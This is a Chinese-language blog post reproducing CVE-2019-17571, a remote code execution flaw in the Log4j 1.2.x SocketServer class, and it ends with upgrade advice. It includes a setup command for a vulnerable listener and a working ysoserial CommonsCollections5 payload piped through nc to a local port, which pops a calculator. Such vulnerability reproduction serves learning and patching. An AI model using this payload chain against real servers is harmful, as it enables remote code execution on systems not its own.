Apache Log4j SocketServer反序列化漏洞复现

发布于 2024-10-16 00:32:52 字数 1768 浏览 0 评论 0

Apache Log4j 是一个基于 Java 的日志记录工具,是 Apache 软件基金会的一个项目,是几种 Java 日志框架之一。

近日, Apache Log4j 官方披露在 1.2.x 版本中的 SocketServer 类存在反序列化漏洞( CVE-2019-17571 ),攻击者可利用漏洞可实现远程代码执行。

Log4j 1.2.x 版本中的 org.apache.log4j.net.SocketServer 类,存在反序列化漏洞。使用 Log4j SocketServer 类创建的 Socket 监听服务处理接受数据时,容易对不可信数据进行反序列化,结合反序列化小工具,攻击者可以实现远程代码执行。

环境搭建

用到的 jar 包:

java -cp log4j-1.2.17.jar:commons-collections-3.1.jar org.apache.log4j.net.SocketServer 8888 ./log4jserver.properties ./

漏洞复现

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "open -a Calculator" | nc 127.0.0.1 8888

发送 payload 后,成功弹出计算器:

修复建议

  1. Apache Log4j 的 1.2 系列版本官方在 2015 年 8 月已停止维护,在 2.8.2 版本中已修复了该漏洞,建议尽快升级到 2.8.2 或更高的版本; 下载地址: https://logging.apache.org/log4j/2.x/download.html

  2. 停止使用 Log4j 的 SocketServer 类创建 Socket 服务,未使用 Log4j 的 SocketServer 类的功能不受漏洞影响;

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

凑诗

暂无简介

0 文章
0 评论
21 人气
更多

推荐作者

5621726425

文章 0 评论 0

gaoxl85

文章 0 评论 0

调妓

文章 0 评论 0

qq_CgiN62

文章 0 评论 0

朱染

文章 0 评论 0

断爱

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文